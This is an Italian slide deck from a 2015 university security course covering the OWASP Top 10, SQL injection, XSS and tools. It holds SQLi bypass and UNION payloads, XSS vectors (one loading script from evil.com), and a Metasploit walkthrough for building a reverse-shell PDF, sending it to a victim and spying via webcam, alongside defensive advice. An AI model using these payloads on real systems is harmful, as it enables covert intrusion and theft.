Modulo Master in Sicurezza Informatica e Hacking Standard OWASP TOP 10 SQL Injection XSS PDF Reverse Shell Tools Ringraziamenti a : Simone Onofri (Moduli SQLi & XSS) Avv. Pieluigi Perri (Introduzione)

1. Sicurezza Informatica & Hacking
Relatore : Pawel Zorzan Urban
@pawelzorzan
mail@pawelzorzan.eu
UniTE – Università degli Studi di Teramo – 23/10/2015
CC BY-ND-NC

2. Hacker & Security Researcher
●
Membro attivo dell'underground hacker nazionale
da più di 15 anni
●
Sicurezza Offensiva (blackhat)
●
Sicurezza Difensiva (whitehat)
●
Security Researcher
●
Security Tutor
●
CCNA & OWASP

3. Sicurezza Informatica
Non esiste una vera e propria definizione di
“Sicurezza Informatica”. Possiamo comunque
delinearla come la scienza che studia come
proteggere le informazioni elaborate o trasferite
elettronicamente da atti indesiderabili che
possono avvenire accidentalmente, o essere
frutto di azioni colpose o dolose.
(Cit. Avv. Pierluigi Perri 2003)

4. Sicurezza Informatica
Non esiste un sistema sicuro al 100%
Il mito del sistema inattaccabile è
analogo al mito della nave inaffondabile!
(finché la barca va lasciala andare!)

6. Sicurezza Informatica
● Gnu/Linux e MacOS sono veramente sicuri ed
immuni da virus e privi di vulnerabilità ?!
● Il livello di sicurezza di un sistema è dato dal
tempo necessario per violare il sistema,
dall'investimento necessario e dalla probabilità
di successo (100% LOL).

7. Sicurezza Informatica
● Un sistema più è complesso più è insicuro
● Le entità che compongono un sistema sono
necessariamente tre:
● Hardware (Reverse Engeneering)
● Software (Exploit, Analisi)
● Humanware (Social Engeneering)

8. OWASP TOP 10
L’ Open Web Application Security Project (OWASP) è una comunità open di professionisti
dell’IT security il cui scopo è quello di permettere alle organizzazioni di sviluppare,
acquistare e mantenere applicazioni di cui possano fidarsi. All’interno di OWASP potrete
trovare, in forma gratuita e libera:
● Strumenti e standard per la sicurezza applicativa
● Libri completi su: come condurre test di sicurezza, come sviluppare codice sicuro e come
condurre una security code review
● Librerie software e controlli di sicurezza standard
● Capitoli locali in pressoché ogni nazione del Pianeta
● Ricerca d’avanguardia
● Conferenze approfondite organizzate in tutto il mondo
● Mailing list
● E molto altro… il tutto a disposizione su http://www.owasp.org

9. OWASP TOP 10
A1 - Injection
Le Injection Flaws, come SQL Injection, OS
Injection, e LDAP injection, si verificano quando
dati non validati vengono inviati come parte di
un comando o di una query al loro interprete. Il
dato infetto può quindi ingannare tale
interprete, eseguendo comandi non previsti o
accedendo a dati per i quali non si ha
l’autorizzazione.

10. OWASP TOP 10
A2 – Cross Site Scripting (XSS)
Le falle di tipo XSS si verificano quando
un’applicazione web riceve dei dati provenienti
da fonti non affidabili e li invia ad un browser
senza una opportuna validazione e/o
“escaping”. Il XSS permette agli attaccanti di
eseguire degli script malevoli sui browser delle
vittime; tali script possono dirottare la sessione
dell’utente, fare un deface del sito web o
redirezionare l’utente su un sito malevolo.

11. OWASP TOP 10
A3 – Broken Authentication and
Session Managment
Le procedure applicative relative alla
autenticazione e alla gestione della sessione
sono spesso implementate in modo non
corretto, permettendo agli attaccanti di
compromettere password, chiavi, token di
sessione o sfruttare debolezze implementative
per assumere l’identità di altri utenti.

12. OWASP TOP 10
A4 – Insecure Direct Object
Reference
Un riferimento diretto ad un oggetto si verifica
quando uno sviluppatore espone un riferimento
all’implementazione interna di un oggetto, come
un file, una directory, o una chiave in un
database. Senza un opportuno controllo degli
accessi o altre protezioni, gli attaccanti possono
manipolare questi riferimenti in modo da
accedere a dati non autorizzati.

13. OWASP TOP 10
A5 – Cross Site Request Forgery
CSRF
Un attacco di tipologia CSRF forza il browser
della vittima ad inviare una richiesta HTTP
opportunamente forgiata includendo i cookie di
sessione della vittima ed ogni altra informazione
di autenticazione ad una applicazione web
vulnerabile. Questo permette all’attaccante di
forzare il browser della vittima a generare una
richiesta che l’applicazione vulnerabile crede
legittimamente inviata dall’utente.

14. OWASP TOP 10
A6 – Security Misconfiguration
Una buona sicurezza richiede una opportuna
configurazione di applicazioni, framework,
server applicativi, server web, database e
piattaforme. Tutte le configurazioni devono
essere definite, implementate e manutenute,
poiché non sempre le configurazioni di default
sono sicure. Questo implica mantenere tutto il
software aggiornato, includendo in esso anche
tutte le librerie usate dall’applicazione.

15. OWASP TOP 10
A7 – Insecure Cryptographic
Storage
Molte applicazioni web non proteggono
opportunamente i dati sensibili (come numeri di
carte di credito, servizi sociali, credenziali per
l’autenticazione) con cifratura e hashing
appropriati. Degli attaccanti potrebbero quindi
rubare o modificare tali dati (debolmente
protetti) per furto di identità, frodi con carte di
credito, o altri crimini informatici.

16. OWASP TOP 10
A8 – Failure to restrict URL access
Molte applicazioni web controllano i diritti di
accesso alle URL prima di visualizzare link o
funzionalità protetti. Tali applicazioni però
dovrebbero effettuare dei controlli di accesso
ogni qualvolta le pagine vengano accedute,
altrimenti gli attaccanti potrebbero alterare le
URL in modo da accedere a pagine protette.

17. OWASP TOP 10
A9 – Insufficient Transport Layer
Protection
Le applicazioni web spesso falliscono
nell’autenticare, cifrare, e proteggere la
confidenzialità e l’integrità del traffico di rete
sensibile. Quando questo accade talvolta è a
causa dell’uso di algoritmi poco robusti, talaltra
all’uso di certificati scaduti o invalidi o che non
vengono utilizzati correttamente.

18. OWASP TOP 10
A10 – Unvalidated Redirects and
Forwards
Le applicazioni web spesso eseguono dei
redirect o dei forward degli utenti verso altre
pagine o siti, e usano dei dati non validati per
determinare le pagine di destinazione. Senza
una opportuna validazione quindi, gli attaccanti
possono fare un redirect delle vittime a siti di
phishing o di malware, o utilizzare il forward per
accedere a pagine non autorizzate.

19. OWASP TOP 10
Domande ?!

20. SQL Injection
● Breve Storia della SQL Injection
● Come Attaccare
● F.A.Q., Q&A e Conclusioni

21. SQL Injection
Tecnicamente le prime SQL Injection hanno
cominciato ad essere presenti sul web da
quando i vari interpreti hanno permesso alle
pagine Web di mostrare dati collegandosi ai
database e quindi a mostrarne i dati.
PHP (1995)
ASP (1996)

22. SQL Injection
La prima e più famosa SQL Injection risale al
1998 da un articolo firmato Rain Forest Puppy
su Phrack “NT Web Technology Vulnerabilities”
che contiene diverse vulnerabilità che
dipendono esclusivamente dalle tecnologie
Web.
SELECT * FROM table WHERE x=1
SELECT * FROM table WHERE y=5

23. SQL Injection
La risposta alla prima SQL Injection è stata :
“Secondo loro (il vendor) quello di cui stiamo
per parlare non è un problema”
Cit. Rain Forest Putty – Phrack Issue #54

24. SQL Injection
La famosa raccomandazione di Rain Foret
Puppy
“Non date per scontato che l'input dell'utente
sia ok quando (lo inserite) in query SQL”
Cit. Rain Forest Puppy – Phrack Issue #54

26. SQL Injection
Secondo il Rapporto Melani gli attaccanti
tendono a sfruttare vulnerabilità che sono
presenti a causa di pratiche di sicurezza
basilari ed inadeguate, l'SQLi è quindi generato
da un errore in fase di sviluppo della
Applicazione Web

27. SQL Injection
Cosa sono i Database relazionali ?
I database o basi di dati sono degli archivi
organizzati tramite delle relazioni. I dati sono
contenuti all'interno di alcune tabelle che hanno
delle intestazioni (campi) in cui i dati sono
organizzati in righe (o record)
La ricerca avviene tramite indici

29. SQL Injection - Cos'è SQL ?
● SQL (Structured Query Language) è un linguaggio
strutturato per eseguire interrogazioni a un database
relazionale;
● Possiamo avere una serie di query esempio per
richiedere dei dati (SELECT), inserirli (INSERT),
aggiornarli (UPDATE) e cancellarli (DELETE);
● Altri tipi di query servono per creare o cancellare
database, utenti, tabelle o sono comandi come ad
esempio spegnere il database oppure leggere file
all'interno del filesystem.

30. SQL Injection – Logica booleana
● Le query di basano sulla logica booleana.
● Ripassiamo brevemente l'OR e l'AND:

31. SQL Injection
Perchè devo sapere tutte queste cose ??
Per eseguire delle SQL Injection è necessaria
la conoscenza approfondita di SQL, dei
database e più nello specifico del linguaggio
supportato dal database utilizzato
dall'applicazione che stiamo analizzando o
attaccando in caso di utenti malevoli.

32. SQL Injection
● Authentication Bypass
● E' un tipico attacco “old school”
● Non è ovviamente sempre possibile, dipende
da come è scritta la query che verifica
l'autenticazione dell'utente
● L'impatto è estremamente critico, è infatti
possibile personificare gli utenti

33. SQL Injection – Come funziona ?
●
Anzitutto è fondamentale capire la query che c'è dietro alla richiesta
●
Tipicamente la pagina di login è qualcosa come:
– SELECT * FROM users WHERE user = 'pawel' AND pass = “pwd”;
●
Che cerca una corrispondenza tra il nome utente e la password
tramite GET/POST
●
Se inseriamo quindi username come :
– pawel'--
●
La query sarà :
– SELECT * FROM users WHERE user = 'pawel'--' AND pass = “pwd”;
● Quindi viene verificato solo se l'utente esiste o meno.

34. SQL Injection – Come funziona ?
● Se però non conosciamo lo username, al netto di
quelli tipici come “admin”, “administrator”, o se si
utilizza un CMS basta andare a cercare la
documentazione, come fare?
● E' Possibile usare ' OR 1=1 – o comunque generare
una condizione logica che sia sempre vera.
● Cosa succede quindi? Il database seleziona tutto il
contenuto della tabella users trovando sicuramente
almeno una corrispondenza.

35. SQL Injection – Come funziona ?

36. SQL Injection – Avvertenze
● Attenzione: quando fate le prove con OR 1=1, se ci sono
molti record nella tabella è possibile che il server impieghi
molto tempo a rispondere, oppure potrebbe andare in
timeout, è consigliabile utilizzare una strategia di tipo AND
1=1 e AND 1=0 quindi condizioni logiche sempre vere o
sempre false che però fanno tornare meno record.
● Nota : nell'esempio precedente abbiamo visto come
probabilmente la password sia in chiaro, quando si cerca il
bypass infatti è probabile trovare una SQL Injection nello
username
● Perchè tutto questo probabile ? Ogni applicazione è diversa.

37. SQL Injection
● Quando si verificano le SQL injection ?
● Le vulnerabilità di tipo Injection si verificano
quando dati non validati vengono inviati come
parte di una richiesta verso un interprete,
permettendo di eseguire richieste o comandi
normalmente non previsti dall'applicazione.
● L'impatto di queste vulnerabilità è spesso alto e
permette di compromettere il sistema o i dati.

38. SQL Injection – Consigli
● Fai Reverse Engineering della query
● Capisci il linguaggio dell'interprete :
– PHP, JSP, ASP, ecc...
● Comprendi la logica
● Sii Creativo/a

39. SQL Injection – passo dopo passo
● Verifica il tipo di dato che l'applicazione si
aspetta (es. numero, stringa, data, uuid ecc...).
● Cerca di capire e “rompere” la query utilizzando
caratteri tipici dei delimitatori (es. ','',”), numeri
positivi e negativi, attenzione ai LIKE e alle date
● Identifica le differenze nelle risposte (es. dati
caricati, errori o pagine bianche)

40. SQL Injection - Esempio
● Applicazione che visualizza notizie:
– http://www.vittima.it/news.php?id=666
● Solitamente le query in questo caso sono:
– SELECT * FROM news WHERE new_id = $param AND new_published = 1
● Un primo test può essere :
– OR 1=1 –, ma attenzione ai DoS (Denial of Service)
– AND 1=1 – e AND 1=0 – valutando la differenza nelle risposte
● Dato che è un numero supponiamo non siano necessarie parentesi, ma
dobbiamo considerare che se la query è complessa possiamo lasciare
aperte delle parentesi.
● Come già anticipato dovete essere creativi per arrivare ad eseguire e
capire correttamente la query.

41. SQL Injection
Fingerprinting e Reverse Engineering
Una volta indentificata la presenza potenziale di
una SQL Injection è necessario verificarla e
quindi sfruttarla. E' di cruciale importanza
capire almeno:
● Il tipo di dato che stiamo manipolando
● Capire la tipologia di query
● A che punto ci troviamo nella query
● Il tipo di database

42. SQL Injection
● Capire il tipo di dato
● Lo possiamo valutare nell'applicazione e
vedendo quali sono i dati che normalmente
l'applicazione si aspetta, tipicamente :
– Numeri
– Stringhe
– Date
– Identificativi

43. SQL Injection
● Capire il tipo di query
● Anche in questo caso il contesto applicativo è
importante.
● Stiamo :
– Visualizzando dei dati ? ------------- SELECT
– Modificando/Aggiornando dati ? --- UPDATE
– Cancellando dati ? --------------- DELETE
Attenzione a query multiple eseguite dalla stessa pagina!!

44. SQL Injection
● Capire dove siamo nella query
Consideriamo sempre che possiamo essere in
più punti della query, quindi la nostra
manipolazione può avere effetti differenti.
● SELECT * FROM tabella WHERE campo =
valore ORDER BY campo

45. SQL Injection
Passo non poco difficile è capire il tipo di database (es. Microsoft, Oracle, Postgre,
DB2...) e la sua versione specifica, in questo alcune funzionalità sono previste solo
per determinare versioni. Un piccolo cheatsheet :
● Concatenare le stringhe :
– Oracle: '||'FOO
– MsSQL: '+'FOO
– MySQL: ' 'FOO
● Calcoli sui numeri :
– ORACLE: BITAND(1,1)-BITAND(1,1)
– MS-SQL: @@PACK_RECIVED-@@PACK_RECIVED
– MySQL: CONNECTION_ID()-CONNECTION_ID()
● Commenti MySQL:
– Se MySQL trova questo commento /*!32302 and 1=0*/ lo eseguirà solo se la sua versione è
maggiore o uguale alla 3.32.02

46. SQL Injection – Exploiting
● Una volta ottenute le informazioni sulla query e sul
database possiamo procedere con lo sfruttamento. E'
possibile utilizzare differenti tecniche secondo il contesto.
● In alcuni casi l'errore SQL è visibile, il che semplifica
molto il lavoro.
● In altri casi dobbiamo capire l'esito delle nostre richieste
(query) e capire quando l'applicazione :
– Esegue il nostro codice, inserendo delle condizioni di vero o
falso (seleziona solo alcuni dati)
– La query non è corretta (es. WSOD)

47. SQL Injection
● Errori tipici
– ORA-01756: quoted string not properly terminated
– You have an error in you SQL syntax; check the
manual that correponds to your MariaDB server
version for right syntax to user near “'
– Error: You have an error in your syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near “' at line 666
– Unclosed quotation mark after the character string “.

48. SQL Injection – Tecnica UNION
● La UNION è una delle tecniche più comuni per l'estrazione di dati.
● L'operatore UNION è utilizzato per combinare i risultati di più
query: la prima è quella inclusa dall'applicazione, la seconda è
quella da cui vogliamo estrarre i dati.
● Quando facciamo una UNION dobbiamo considerare che :
– Le due query devono avere lo stesso numero di colonne (Es. ORA-
01798: query block has incorrect number of result columms)
– Le colonne nella stessa posizione devono essere dello stesso tipo o uno
compatibile (Es. ORA-01790: expression must have same datatype ad
corresponding expression). NULL è spesso nostro amico
– Dobbiamo conoscere almeno il nome di una tabella (ecco anche perché
facciamo il fingerprinting)

49. SQL Injection – Come fare ?
● Trovare il nome di una tabella che esiste e cui hai accesso
(es. DUAL in Oracle o anche nulla in MS-SQL)
● Capire il numero di colonne
– ' UNION SELECT NULL – (meno meno!!)
– ' UNION SELECT NULL,NULL –
– ' UNION SELECT NULL, NULL –
● Trovare almeno un tipo di dato come stringa
– ' UNION SELECT 'a', NULL, NULL –
● Estrarre le informazioni
– UNION SELECT banner, NULL, NULL from $version

50. SQL Injection - Tools
● Esistono numerosi strumenti automatici tramite i quali
è possibile identificare e sfruttare le SQL Injection.
● E' bene comunque imparare a sfruttarle a mano!!!!!!!!
● Non sempre gli strumenti automatici sono di aiuto
– In quel caso è possibile modificare lo strumento se è open
source.
– Oppure farsi una propria serie di script nel proprio
linguaggio preferito per sfruttare la vulnerabilità.

51. SQL Injection – Sqlmap
● Sqlmap è dei più potenti strumenti per rilevare le SQL Injection.
Consideriamo il nostro target testasp.
●
Scaricare: http://sqlmap.org/
● Lanciare
– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1"
--users
– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1"
--passwords
– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1 "
--dbs
– Python sqlmap.py -u “ http://testasp.vulnweb.com/showthread.asp?id=1"
--dump-all

52. SQL Injection – Mitigazione
● E' possibile mitigare questa vulnerabilità utilizzando API
parametriche per interfacciarsi agli interpreti oppure regole
di validazione a whitelist per verificare il dato. Inoltre, prima
della validazione, bisogna eseguire una normalizzazione
(canonicalization) e codificare correttamente il dato
(encoding), quindi applicare le regole specifiche
dell'interprete per gestire i caratteri speciali (escaping),
come ad esempio :
– Caratteri per la delimitazione di stringhe (es. ' “)
– Caratteri o sequenze interpretate (es. % – # / * )
– Operatori o funzioni (es. AND OR NOT SLEEP || CHR +)

54. SQL Injection – F.A.Q.

55. SQL Injection – Domande ?

56. XSS – Cos'è
Le vulnerabilità di tipo XSS si verificano quando dati
non validati vengono restituiti nel corpo della risposta
HTTP e vengono interpretati dal browser. E’ così
possibile eseguire codice lato client all’interno del
browser degli utenti.
L’impatto di business è spesso medio/alto*. E’ possibile
compromettere la sessione degli utenti eseguire
attacchi di phishing particolarmente sofisticati e, nei
casi peggiori, eseguire un defacement o comunque
prendere il controllo del browser della vittima.

57. XSS – Nel Pratico

58. XSS – Nel codice
<?php
echo $_GET['title'];
?>

59. XSS – Quando Nasce?!

60. XSS – Il problema originale
I server possono generare pagine dinamiche che non hanno
il controllo dell’output che viene interpretato dal Client.
Il cuore della questione è che se del contenuto non fidato
può essere introdotto in una pagina dinamica non si hanno
informazioni per riconoscerlo e prendere azioni proattive.
Tutti i server che generano pagine dinamiche dovrebbero
verificare che non ci siano caratteri speciali relativi al codice
HTML che potrebbero essere eseguiti dal browser.
Fonte: http://web.archive.org/web/20070626182758/http://ha.ckers.org/cross-site-scripting.html

61. XSS - Il problema al tempo
Un grande numero di web server che genera pagine
dinamiche non verifica la presenza di caratteri speciali o non
lo fa correttamente ed è possibile eseguire codice nel contesto
di sicurezza del browser rispetto il web server vulnerabile.
«Dipende tutto da dove prendiamo i nostri input, da come li
elaboriamo e da come li trasformiamo nei nostri output»
Il nocciolo delle vulnerabilità relative all’Improper Input
Validation

62. Il nocciolo delle vulnerabilità relative
all’Improper Input Validation (per dirlo con un
immagine)

63. XSS All'interno dell'URI QueryString
● Request
GET
/cerca.php?q=<script>alert(1)</script>
HTTP/1.1
● Esempio
<?php
echo ‘Hai cercato:’ - $_GET[‘q’];
?>

64. XSS All'interno dell'URI Path
● Request
GET
/iscriviti.php/’><script>alert(1)</script><form action=‘
HTTP/1.1
● Esempio
<?php
echo ‘<form action=’.$_SERVER['PHP_SELF'].’>’;
?>

65. XSS - All’interno degli Header
User Agent
●
Request
GET /index.php HTTP/1.1
User-Agent:
<script>alert(1)</script>
●
Esempio
• Sistemi di statistiche
• Se stampo a schermo il browser dell’utente
• Log dell’applicazione o del webserver
• …

66. XSS - All’interno degli Header
Cookie
●
Request
GET /login.php HTTP/1.1
Cookie:
Ut<script>alert(1)</script>ente
●
Esempio
• Quando stampo o manipolo i cookie sia lato server che lato
client
• Sistemi di autenticazione
• …

67. XSS - All’interno del body (POST)
●
Request
POST/iscriviti.php
HTTP/1.1
[…]
nome=<script>alert(1)</s>
●
Esempio
<?php
echo ‘Controlla i dati, il tuo nome:’ -$_POST[‘nome’];
?>

68. XSS - All’interno del body
(POST multipart)
● Request
POST/upload.php
HTTP/1.1
[…]
Content-Disposition:
form-data;
name=“<xss>";
filename=“<xss>"
● Esempio
• Caricamento file
• Invio di e-mail

69. XSS
«Quando riceviamo in
Input, pensiamo a
dove lo andiamo a
scrivere»

70. XSS
Dove possiamo andare a scrivere il nostro
Input?
● Email (Oggetto, Destinatario, Corpo)
● Database
● LOG
● File System
● API o RSS Feed
● Altri elementi interpretati dal browser

71. XSS - Tipologie
● Tipo 1: Reflected XSS (non persistenti)
– Si hanno quando i parametri vulnerabili sono riflessi
direttamente nella pagina
– Particolarmente utili per phishing o link malevoli
– Si gestiscono tramite dei controlli lato server

72. XSS - Tipologie
● Tipo 2: XSS Stored (persistenti)
– Si hanno quando i parametri vulnerabili sono salvati
in qualche locazione e quindi riflessi (p.e. da un
altro utente)
– Particolarmente utili per il furto di sessione,
defacement o anti-forensics
– Si gestiscono tramite controlli lato server

73. XSS - Tipologie
● Tipo 3: DOM Based
– Si hanno quando alcuni elementi del DOM vengono
elaborati e stampati senza un preventivo controllo
– Particolarmente utili in quanto lato client, esisteva
anche una DOM XSS «universale» tramite Adobe
Reader.
– Si gestiscono tramite controlli lato client

74. XSS – Esempio DOM Based
http://www.example.com/index.html
#<script>alert( 1)</script>
<script>
document.write("<b>Il tuo URL è<b> : " +
document.baseURI);
</script>

75. Cosa dobbiamo controllare per le
DOM XSS?
● Da un lato (Input/Sources) quegli
elementi DOM potenzialmente
accessibili all’utente p.e.:
• document.URL
• document.documentURI
• location.href
• location.search
• location.*
• window.name
• document.referrer
● Dall’altro lato (Output/Sink)
quando ho dei punti dove
eseguo quell’Input p.e.:
• document.write
• (element).innerHTML
• (element).src (in certain
elements)
• eval
• setTimout / setInterval
• execScript

76. Tornando sulle XSS Stored e le
Reflected
● Dobbiamo fare attenzione a dove viene stampato quanto ricevuto in input.
● • Corpo HTML / Attributi di elementi HTML
● • Cookie
● • All’interno di un HREF / All’interno di un IFRAME
● • Codice CSS (anche @style)
● • Codice Javascript / Codice JSON
● • Dentro un CDATA
● • Codice XML
● • Cookie
● • Dialetti (p.e. BBcode)

77. Probing di un XSS stored o reflected
● Il concetto fondamentale è, una volta che inviamo un
input, dove viene riflesso o comunque scritto, anche
dopo che è stato memorizzato?
● Il mio input viene riflesso o scritto così come l’ho
inserito oppure viene modificato in qualche modo?
• BONUS: se viene scartato il pacchetto?
• BONUS: se tutto l’input viene cancellato?
• BONUS: se l’input qualche volta viene modificato e
qualche volta no, quasi casualmente?

78. XSS
'';!--"<Scs>=&{()}//,
Un probe per ghermirli e nel buio incatenarli, con alcune
funzionalità particolari e alcune note sull’utilizzo

79. Probing di un XSS stored o reflected
● Quali sono i caratteri che vengono modificati e come vengono
modificati?
• Tutti vengono codificati
• Solo alcuni vengono codificati
• Vengono codificati diversamente secondo dove sono riflessi o scritti
• Una o più parti del vettore sono cancellate o sostituite con altri caratteri
● Le modifiche eseguite rendono possibile la «rottura» della sintassi?
● Posso tentare delle tecniche per eseguire il bypass delle funzionalità di
verifica?
● Eventualmente mi posso «accontentare» di un HTML Injection anche se
non posso inserire codice Javascript?

80. XSS Alcuni Bypass Tecnici
●
Usare un vettore cambiando il case dei caratteri
●
Se la funziona fa uppercase usare un vettore che funziona anche se
tutto maiuscolo
●
Cambiare la codifica (p.e. http://hackvector.co.uk)
●
Se è un filtro a blacklist, provare gli elementi/attributi di HTML5
●
Se è un filtro a blacklist che cerca di identificare i tag o gli attributi
per capire cosa filtrare e cosa no, provare ad inserire dei caratteri
come r 0 che possono essere ignorati dal browser
●
Inserire del codice HTML che, anche se non formalmente corretto,
sia comunque interpretato correttamente dal browser
●
Ricordare che esistono i `grave accents ` ` ` `

81. XSS - Esempi di alcuni bypass tipici
<sCrIPt>alert(1)</ScrIpT>
<SCRIPT SRC=http://evil.com/x.js></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-
TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADwSCRIPT+AD4-alert('XSS');
+ADw-/SCRIPT+AD4-

82. XSS - Esempi di alcuni bypass tipici
¼script¾alert(¢XSS¢)¼/script¾
<a b=c>
<[CDATA[<script>alert(1)</script>]>

83. E per i DOM XSS? Code Review
●
Trovare i sink
/((src|href|data|locati
on|code|value|action)s
*["']]*s*+?s*=)|((r
eplace|assign|navigate|
getResponseHeader|open(
Dialog)?|showModalDialo
g|eval|evaluate|execCom
mand|execScript|setTime
out|setInterval)s*["'
]]*s*()/c
● Trovare i sink
Menzione speciale a jQuery
($)
/after(|.append(|.b
efore(|.html(|.prep
end(|.replaceWith(|
.wrap(|.wrapAll(|$
(|.globalEval(|.add
(|jQUery(|$(|.parse
HTML(/
Fonte: https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS

84. Sfruttare un XSS
● Una volta che abbiamo notato che il nostro input viene
riflesso in qualche modo potenzialmente utile, è
importante riuscire ad eseguire del codice.
● Una semplice PoC è la comparsa di un alert/messaggio
sulla pagina
● In alcuni casi può essere utile far vedere che è
possibile accedere alla
● sessione utente tipicamente mantenuta nel cookie (N.B.
richiede che non sia abilitato l’HTTPOnly nel cookie)

85. Vettori XSS
<script>alert("XSS")</script>
<script>alert(/XSS/)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>

86. Quando serve un vettore più corto
possibile
● Ricordarsi che «il browser è più
intelligente di noi»
● Gli spazi contano
●
Non sempre servono le
virgolette
●
http:// può essere //
● Utilizzare più punti di inserzione
● Sftuttare il Javascript già
esistente
● Url shortener

87. Vettori particolarmente corti
<svg/onload=alert(1)>
<script src=//v.ht/aa />
<script src=e.js />

88. XSS on the wild – Cookie Stealing
● • Possiamo
- Recuperare la sessione
dell’utente
- Utilizzare il cookie per
accederealla sua sessione
● Nota bene
- NON deve essere abilitato
HTTPOnly nel cookie di sessione
- Potrebbero essere presenti filtri
su IP/User-Agent per abilitarci la
sessione

89. XSS on the wild – BrowsEr
Exploitation Framework
● BeEF può essere inserito
nel browser tramite un
XSS, sfruttando la fiducia
dell’utente sul dominio
● Dobbiamo far mantenere
il browser aperto
●
● http://beefproject.com/

90. XSS on the wild
● Phishing
● Cross Site Request Forgery
● HTML Injection (persisten!! molto male!!)

91. XSS – Come difendersi
● Impostare una codifica coerente per tutto il livello applicativo
● Forzare tutti gli input e gli output per le codifiche preimpostate
● Verificare e tipizzare il dato secondo quanto ci si aspetta
● Codificare secondo il contesto l’input prima che diventi output
● In caso di necessità di includere codice HTML fornito come input
- Applicare una funzionalità di whitelist
- Utilizzare un dialetto e un parser sicuro (p.e. attenzione a Markdown)
- Attenzione ai tag/attributi malformati, normalizzare prima i dati
● Applicare le funzionalità accessorie dei browser
● L’utilizzo di blacklist è sconsigliato.

92. Esempio di come difendersi
<?php // html 4.01 with utf-8
header('Content-type: text/html; charset: utf-8');
header('X-Content-Type-Options: nosniff');
header('X-XSS-Protection: 1; mode=block');
header('Content-Security-Policy: reflected-xss block');
header('X-Content-Security-Policy: reflected-xss block');
header('X-WebKit-CSP: reflected-xss block');
$title = mb_convert_encoding($_GET['title'], 'UTF-8');
echo htmlspecialchars($title,ENT_QUOTES |ENT_HTML401,'UTF-8');
}
?>

93. Esempio di bypass di una nota
funzione in PHP
● Utilizzo di htmlspecialchars
<input type=text name=param value=<?php
echo htmlspecialchars($_GET[ 'param']); ?>>
● xss
xss_03.php?param=x onchange=alert(1)

94. Su alcuni siti web sono pubblicate
delle classifiche o degli attacchi a
siti web noti
● http://www.xssed.com/
● https://www.xssposed.org/
● https://www.punkspider.org/

95. XSS – Strumenti / Tools
● Gli strumenti possono essere utili per trovare
velocemente le XSS, ma non tutti sono efficaci
● E’ importante capire come funzionano e come farli
funzionare
● Alcuni strumenti
● - Burp Pro
● - OWASP ZAP
● - Xsser
● - XSSme (Firefox plugin)

96. XSS end!
«Never trust the user
input, output too»
Motto per la parameter manipulation

97. XSS – Domande ?

98. PDF – Reverse Shell
● Adobe Reader come altri migliaia di software
hanno vulnerabilità
● Hackers e Governi sfruttano queste falle
● Analizziamo il metodo più semplice per
generare file malevoli
● Gli antivirus non si accorgono di niente (se
creati nel modo corretto)

99. PDF
● Metasploit è il framework ad oggi più potente e
comodo per effettuare svariate tipologie di
attacchi
● Per prima cosa è necessario un server o pc con
indirizzo IP pubblico e porte aperte
● Attacchiamo!!!! :-D

100. PDF
● Per prima cosa è necessario eseguire metasploit
sul vostro sistema
●
Eseguire prima di tutto il comando msfupdate
per aggiornare eventuali nuove vulnerabilità
pubbliche e note
● Lanciare il framework con il comando
msfconsole

101. PDF
● Cercare all'interno del framework gli exploit per
windows relativi ad adobe
msf > search type:exploit platform:windows
adobe pdf

102. PDF

103. PDF
● L'exploit che ci interessa è :
"exploit/windows/fileformat/adobe_pdf_embedded_exe"
● Richiamare tramite il comando :
msf > use
exploit/windows/fileformat/adobe_pdf_embedded_exe
● Vediamo le informazioni relative a questo exploit :
msf > exploit (adobe_pdf_embedded_exe) > info

104. PDF

105. PDF
● Inserire il Payload che ci interessa all'interno dell file
PDF
● Nel nostro caso richiamiamo una reverse_shell
● La reverse_shell ci permetterà di accedere
direttamente al computer della vittima senza che se
ne accorga
● Lanciare il comando :
msf > exploit (adobe_pdf_embedded_exe) > set
payload windows/meterpreter/reverse_tcp

106. PDF
Analizzare le opzioni disponibili relative alla revese Shell con il comando :
msf > exploit (adobe_pdf_embedded_exe) > show options

107. PDF
●
A questo punto è necessario impostare i seguenti parametri :
- INFILENAME (Richiesto e Obbligatorio)
- FILENAME
- LHOST
● Eseguire quindi :
- msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME
chapter1.pdf
- msf > exploit (adobe_pdf_embedded_exe) > set FILENAME chapter1.pdf
- msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.100.1
● Verificare che tutti i parametri siano corretti :
msf > exploit (adobe_pdf_embedded_exe) > show options

108. PDF

109. PDF Exploit!
● Creare il file :
msf > exploit (adobe_pdf_embedded_exe) > exploit
● Il file generato se creato dall'utente root si troverà
nel percorso /root/.msf4/local/chapter1.pdf
● Inviare il file appena creato via mail, cloud ecc... o
su chiavetta alla vittima
● Attendere l'apertura della Sessione sul vostro
Server!

110. PDF

111. PDF
●
E' ora possibile eseguire liberamente comandi sulla computer della “vittima”
●
Ecco i principali comandi utili :
sessions X– collegarsi all'istanza X
info – ottenere informazioni varie sul sistema
search – ricercare file nel sistema
webcam_snap – scattare una foto dalla webcam
getsystem – ottenere i privilegi di amministrazione del sistema
getuid – verificare i propri permessi
● Sono disponibili centinaia di comandi che potete trovare liberamente sul sito
dei produttori di Metasploit all'indirizzo :
http://www.metasploit.com/

112. PDF – Domande ?

113. Tools
Principali tool di attacco opensource (reperibili liberamente online(google
vi aiuta sempre) utilizzati da Hackers, Security Researcher, Penetration
Testers e persone cattive
● Google
● Bing
● Dirb
● Dirbuster
● Fimap
● The Harvester
● Nessus
● Vega
● Nikto
● Acunetix
● HackBar
● TamperData
● Live HTTP Headers
● Burp Suite
● Htcap
● bettercap
● nmap
● metasploit
● armitage
● Sqlmap
● CMSmap
● JomScan
● WPscan
● AirCrack-ng
● Reaver
● telnet
● Veil
● John The Ripper
● Hydra
● hashcat

114. Tools – Domande ?

115. GRAZIE
Pawel Zorzan Urban
@pawelzorzan
mail@pawelzorzan.eu